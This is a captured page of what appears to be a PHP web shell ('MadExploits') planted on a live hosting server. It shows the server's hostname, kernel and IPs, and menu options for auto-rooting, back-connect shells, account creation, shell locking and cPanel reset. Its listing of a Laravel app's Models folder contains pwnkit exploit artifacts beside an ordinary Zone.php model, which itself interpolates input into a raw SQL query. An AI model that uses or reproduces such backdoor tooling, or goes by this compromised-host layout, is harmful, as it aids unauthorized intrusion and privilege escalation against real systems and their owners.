Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.125
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
mydemowebs /
.trash /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AccountTransaction.php
1.32
KB
-rwxr-xr-x
AddOn.php
2.53
KB
-rwxr-xr-x
AddonCategory.php
2.4
KB
-rwxr-xr-x
Admin.php
3.75
KB
-rwxr-xr-x
AdminFeature.php
2.64
KB
-rwxr-xr-x
AdminPromotionalBanner.php
2.65
KB
-rwxr-xr-x
AdminRole.php
1.7
KB
-rwxr-xr-x
AdminSpecialCriteria.php
2.65
KB
-rwxr-xr-x
AdminTestimonial.php
2.65
KB
-rwxr-xr-x
AdminWallet.php
315
B
-rwxr-xr-x
Advertisement.php
6.44
KB
-rwxr-xr-x
Allergy.php
491
B
-rwxr-xr-x
AllergyItem.php
352
B
-rwxr-xr-x
AllergyItemCampaign.php
359
B
-rwxr-xr-x
AnalyticScript.php
813
B
-rwxr-xr-x
Attribute.php
1.45
KB
-rwxr-xr-x
AutomatedMessage.php
1.07
KB
-rwxr-xr-x
Banner.php
4.86
KB
-rwxr-xr-x
Brand.php
4.15
KB
-rwxr-xr-x
BusinessSetting.php
1.51
KB
-rwxr-xr-x
Campaign.php
4.09
KB
-rwxr-xr-x
Cart.php
811
B
-rwxr-xr-x
CashBack.php
2
KB
-rwxr-xr-x
CashBackHistory.php
901
B
-rwxr-xr-x
Category.php
5.03
KB
-rwxr-xr-x
CommonCondition.php
3.06
KB
-rwxr-xr-x
Contact.php
318
B
-rwxr-xr-x
Conversation.php
2.99
KB
-rwxr-xr-x
Coupon.php
3.31
KB
-rwxr-xr-x
Currency.php
209
B
-rwxr-xr-x
CustomerAddress.php
278
B
-rwxr-xr-x
DMReview.php
770
B
-rwxr-xr-x
DMVehicle.php
1.38
KB
-rwxr-xr-x
DataSetting.php
1.92
KB
-rwxr-xr-x
DeliveryHistory.php
468
B
-rwxr-xr-x
DeliveryMan.php
6.31
KB
-rwxr-xr-x
DeliveryManWallet.php
778
B
-rwxr-xr-x
Disbursement.php
285
B
-rwxr-xr-x
DisbursementDetails.php
930
B
-rwxr-xr-x
DisbursementWithdrawalMethod.p...
554
B
-rwxr-xr-x
Discount.php
903
B
-rwxr-xr-x
EcommerceItemDetails.php
443
B
-rwxr-xr-x
EmailTemplate.php
5.41
KB
-rwxr-xr-x
EmailVerifications.php
189
B
-rwxr-xr-x
EmployeeRole.php
960
B
-rwxr-xr-x
Expense.php
1.01
KB
-rwxr-xr-x
ExternalConfiguration.php
314
B
-rwxr-xr-x
FAQ.php
1.38
KB
-rwxr-xr-x
FlashSale.php
2.34
KB
-rwxr-xr-x
FlashSaleItem.php
1
KB
-rwxr-xr-x
FlutterSpecialCriteria.php
2.32
KB
-rwxr-xr-x
GenericName.php
538
B
-rwxr-xr-x
Guest.php
321
B
-rwxr-xr-x
Item.php
10.72
KB
-rwxr-xr-x
ItemCampaign.php
5.88
KB
-rwxr-xr-x
ItemCampaignGenericName.php
422
B
-rwxr-xr-x
ItemCampaignNutrition.php
363
B
-rwxr-xr-x
ItemGenericName.php
405
B
-rwxr-xr-x
ItemNutrition.php
356
B
-rwxr-xr-x
ItemTag.php
386
B
-rwxr-xr-x
LoyaltyPointTransaction.php
533
B
-rwxr-xr-x
MailConfig.php
381
B
-rwxr-xr-x
Message.php
1.81
KB
-rwxr-xr-x
Module.php
5.88
KB
-rwxr-xr-x
ModuleType.php
181
B
-rwxr-xr-x
ModuleWiseBanner.php
2.7
KB
-rwxr-xr-x
ModuleWiseWhyChoose.php
2.84
KB
-rwxr-xr-x
ModuleZone.php
611
B
-rwxr-xr-x
Newsletter.php
170
B
-rwxr-xr-x
Notification.php
3.2
KB
-rwxr-xr-x
NotificationMessage.php
342
B
-rwxr-xr-x
NotificationSetting.php
225
B
-rwxr-xr-x
Nutrition.php
536
B
-rwxr-xr-x
OfflinePaymentMethod.php
364
B
-rwxr-xr-x
OfflinePayments.php
282
B
-rwxr-xr-x
Order.php
9.75
KB
-rwxr-xr-x
OrderCancelReason.php
1.07
KB
-rwxr-xr-x
OrderDeliveryHistory.php
191
B
-rwxr-xr-x
OrderDetail.php
1.15
KB
-rwxr-xr-x
OrderPayment.php
476
B
-rwxr-xr-x
OrderReference.php
517
B
-rwxr-xr-x
OrderTransaction.php
1.14
KB
-rwxr-xr-x
ParcelCancellation.php
544
B
-rwxr-xr-x
ParcelCancellationReason.php
1.08
KB
-rwxr-xr-x
ParcelCategory.php
3.21
KB
-rwxr-xr-x
ParcelDeliveryInstruction.php
1.09
KB
-rwxr-xr-x
PasswordReset.php
249
B
-rwxr-xr-x
PaymentRequest.php
270
B
-rwxr-xr-x
PharmacyItemDetails.php
544
B
-rwxr-xr-x
PhoneVerification.php
221
B
-rwxr-xr-x
PriorityList.php
558
B
-rwxr-xr-x
ProvideDMEarning.php
432
B
-rwxr-xr-x
ReactPromotionalBanner.php
2.78
KB
-rwxr-xr-x
ReactTestimonial.php
2.72
KB
-rwxr-xr-x
RecentSearch.php
390
B
-rwxr-xr-x
Refund.php
1.84
KB
-rwxr-xr-x
RefundReason.php
1.06
KB
-rwxr-xr-x
Review.php
1.82
KB
-rwxr-xr-x
Setting.php
759
B
-rwxr-xr-x
SocialMedia.php
470
B
-rwxr-xr-x
Storage.php
376
B
-rwxr-xr-x
Store.php
26.57
KB
-rwxr-xr-x
StoreConfig.php
1001
B
-rwxr-xr-x
StoreNotificationSetting.php
317
B
-rwxr-xr-x
StoreSchedule.php
567
B
-rwxr-xr-x
StoreSubscription.php
1.45
KB
-rwxr-xr-x
StoreWallet.php
583
B
-rwxr-xr-x
SubscriptionBillingAndRefundHi...
343
B
-rwxr-xr-x
SubscriptionPackage.php
2.37
KB
-rwxr-xr-x
SubscriptionTransaction.php
1.25
KB
-rwxr-xr-x
SurgePrice.php
1.8
KB
-rwxr-xr-x
SurgePriceDate.php
737
B
-rwxr-xr-x
Tag.php
330
B
-rwxr-xr-x
TempProduct.php
5.43
KB
-rwxr-xr-x
TrackDeliveryman.php
187
B
-rwxr-xr-x
Translation.php
528
B
-rwxr-xr-x
Unit.php
1.44
KB
-rwxr-xr-x
User.php
3.4
KB
-rwxr-xr-x
UserInfo.php
2.88
KB
-rwxr-xr-x
UserNotification.php
436
B
-rwxr-xr-x
Vendor.php
3.72
KB
-rwxr-xr-x
VendorEmployee.php
2.25
KB
-rwxr-xr-x
WalletBonus.php
3.2
KB
-rwxr-xr-x
WalletPayment.php
184
B
-rwxr-xr-x
WalletTransaction.php
551
B
-rwxr-xr-x
Wishlist.php
444
B
-rwxr-xr-x
WithdrawRequest.php
934
B
-rwxr-xr-x
WithdrawalMethod.php
471
B
-rwxr-xr-x
Zone.php
4.4
KB
-rwxr-xr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Zone.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasManyThrough; use Illuminate\Database\Eloquent\Relations\MorphMany; use Illuminate\Support\Carbon; use MatanYadaev\EloquentSpatial\Objects\Polygon; use MatanYadaev\EloquentSpatial\Traits\HasSpatial; use Illuminate\Database\Eloquent\Builder; use App\Scopes\ZoneScope; /** * Class Zone * * @property int $id * @property string $name * @property string $display_name * @property mixed $coordinates * @property int $status * @property Carbon|null $created_at * @property Carbon|null $updated_at * @property string|null $store_wise_topic * @property string|null $customer_wise_topic * @property string|null $deliveryman_wise_topic * @property int $cash_on_delivery * @property int $digital_payment * @property float $increased_delivery_fee * @property int $increased_delivery_fee_status * @property string|null $increase_delivery_charge_message * @property int $offline_payment */ class Zone extends Model { use HasFactory; use HasSpatial; /** * The attributes that are mass assignable. * * @var array */ protected $with = ['translations']; protected $fillable = [ 'name', 'display_name', 'coordinates', 'status', 'store_wise_topic', 'customer_wise_topic', 'deliveryman_wise_topic', 'cash_on_delivery', 'digital_payment', 'increased_delivery_fee', 'increased_delivery_fee_status', 'increase_delivery_charge_message', 'offline_payment', ]; protected $casts = [ 'status' => 'integer', 'increased_delivery_fee_status' => 'integer', 'increased_delivery_fee' => 'integer', 'cash_on_delivery' => 'boolean', 'digital_payment' => 'boolean', 'offline_payment' => 'boolean', 'fixed_shipping_charge' => 'float', 'coordinates' => Polygon::class, ]; public function translations(): MorphMany { return $this->morphMany(Translation::class, 'translationable'); } public function getNameAttribute($value){ if (count($this->translations) > 0) { foreach ($this->translations as $translation) { if ($translation['key'] == 'name') { return $translation['value']; } } } return $value; } public function getDisplayNameAttribute($value){ if (count($this->translations) > 0) { foreach ($this->translations as $translation) { if ($translation['key'] == 'display_name') { return $translation['value']; } } } return $value; } public function stores(): HasMany { return $this->hasMany(Store::class); } public function deliverymen(): HasMany { return $this->hasMany(DeliveryMan::class); } public function surge_prices(): HasMany { return $this->hasMany(SurgePrice::class); } public function orders(): HasManyThrough { return $this->hasManyThrough(Order::class, Store::class); } public function campaigns(): HasManyThrough { return $this->hasManyThrough(Campaigns::class, Store::class); } public function scopeActive($query) { return $query->where('status', '=', 1); } public function scopeContains($query,$abc){ return $query->whereRaw("ST_Distance_Sphere(coordinates, POINT({$abc}))"); } protected static function booted(): void { static::addGlobalScope(new ZoneScope); static::addGlobalScope('translate', function (Builder $builder) { $builder->with(['translations' => function($query){ return $query->where('locale', app()->getLocale()); }]); }); } public function modules(): BelongsToMany { return $this->belongsToMany(Module::class)->withPivot(['per_km_shipping_charge','minimum_shipping_charge','maximum_shipping_charge','maximum_cod_order_amount','delivery_charge_type','fixed_shipping_charge'])->using('App\Models\ModuleZone'); } public static function query(): Builder { return parent::query(); } }
Close